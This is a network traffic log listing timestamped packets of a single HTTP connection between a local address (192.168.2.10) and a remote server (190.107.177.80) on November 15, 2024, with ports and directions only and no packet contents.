Nov 15, 2024 09:10:24.512474060 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512480021 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512506962 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512552023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512660027 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512667894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512685061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512696028 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512732029 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512805939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512850046 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512885094 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512897015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512907982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512919903 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512933969 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512965918 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512999058 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513228893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513271093 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.513284922 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513295889 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513344049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513387918 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.513401031 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513411999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513444901 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.513654947 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513700962 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.513720036 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513730049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513741016 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513777018 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.513786077 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513797045 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513822079 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.513848066 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.513861895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.539633989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.539685011 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.539721012 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.539777040 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.539783955 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.539813995 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.539829969 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.539869070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.539905071 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.539938927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.539954901 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.539974928 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.539988041 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.540044069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.540092945 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.540096998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.540132999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.540168047 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.540200949 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.540215015 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.540249109 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.572662115 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.572715044 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.572765112 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.572777033 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.572813034 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.572844982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.572865963 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.572880983 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.572920084 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.572946072 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.572957993 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.573126078 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.573436022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.573494911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.573532104 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.573540926 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.573586941 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.573622942 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.573635101 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.573661089 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.573694944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.573729992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.573740005 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.573774099 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.625889063 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.625900030 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.625910997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.625961065 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.625999928 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626013041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626024008 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626038074 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.626065969 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.626090050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626110077 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626121998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626178026 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.626228094 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626264095 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.626277924 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626287937 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626327038 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.626349926 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626400948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626410961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626446962 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.626641035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626682043 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626682043 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.626693010 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.626732111 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.629368067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629379988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629426003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629426956 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.629437923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629492044 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.629503965 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629575014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629585981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629620075 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.629852057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629863977 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629873991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629893064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629899979 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.629904985 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629914999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.629930973 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.629946947 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.630125999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630136967 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630171061 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.630203962 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630240917 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.630254984 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630266905 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630395889 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.630423069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630434990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630445957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630466938 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.630600929 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630640030 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.630667925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630753994 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630786896 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630826950 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.630856991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630868912 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630881071 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630909920 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.630920887 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.630971909 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630983114 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.630995035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.631006002 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.631015062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.631032944 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.631061077 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.631217003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.631261110 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.631272078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.631299973 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.631303072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.631330967 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.656939983 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.656995058 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657020092 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.657032013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657066107 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657082081 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.657123089 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657157898 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657196045 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657202005 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.657248974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657249928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.657306910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657341957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657349110 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.657377005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657412052 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657444954 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657464027 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.657474041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657499075 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.657507896 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.657690048 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.689842939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.689899921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.689951897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.689954996 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.689990044 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690046072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690083027 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690093994 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.690118074 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690129042 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.690155029 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690185070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690232992 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.690684080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690718889 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690737963 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.690771103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690805912 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690829039 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.690840960 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690876007 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690886974 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.690917015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690932989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.690993071 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.732605934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.732620001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.732656956 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.743123055 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743139982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743155003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743220091 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.743233919 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743247986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743259907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743294001 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.743328094 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743329048 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.743339062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743350983 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743365049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743376017 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743386984 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.743391037 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743396997 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.743433952 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.743459940 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743472099 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743483067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743509054 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.743529081 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743545055 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743561983 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.743581057 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.743617058 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.746426105 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746483088 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746517897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746536970 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.746586084 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746622086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746629953 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.746658087 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746711969 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746717930 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.746766090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746799946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746857882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746881962 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.746890068 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746908903 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.746926069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.746959925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747004986 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747010946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747044086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747072935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747100115 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747113943 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747128963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747164965 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747198105 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747225046 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747250080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747281075 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747323990 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747332096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747370958 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747375011 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747406006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747447014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747498989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747499943 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747534990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747543097 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747567892 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747626066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747659922 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747678041 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747695923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747704029 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747729063 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747782946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747817993 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747833967 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747854948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747863054 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747888088 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747922897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747946024 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.747956991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.747991085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.748024940 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.748037100 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.748059988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.748066902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.748094082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.748131990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.748142004 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.748167038 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.748270035 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.774177074 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774276018 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774311066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774363041 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.774364948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774404049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774405003 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.774435043 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774487972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774533987 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.774542093 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774578094 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774612904 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774624109 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.774648905 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774652958 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.774683952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774714947 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774738073 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.774749994 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774785995 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774821997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.774831057 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.774869919 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.807013035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807069063 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807105064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807157993 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.807159901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807199001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807209969 CET	49795	80	192.168.2.10	190.107.177.80
